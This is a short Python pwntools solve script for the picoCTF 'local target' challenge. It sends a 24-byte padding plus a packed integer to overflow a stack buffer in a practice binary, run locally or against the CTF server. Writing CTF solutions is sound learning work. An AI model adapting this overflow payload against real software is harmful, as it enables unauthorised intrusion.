picoctf/pwn/local_target/solve.py

31 lines
552 B
Python
Executable File

#!/usr/bin/env nix-shell
#!nix-shell -p python3 -i python3 python3Packages.pwntools
from pwn import *
exe = ELF("./local-target")
context.binary = exe
ADDR, PORT, *_ = "saturn.picoctf.net 58138".split()
def conn():
if args.REMOTE:
r = remote(ADDR, PORT)
else:
r = process([exe.path])
return r
def main():
r = conn()
r.recvuntil(b"Enter a string: ")
offset = 24 # found with pwndbg
payload = b'A' * offset + p64(65)
r.sendline(payload)
print(r.recvall())
r.close()
if __name__ == "__main__":
main()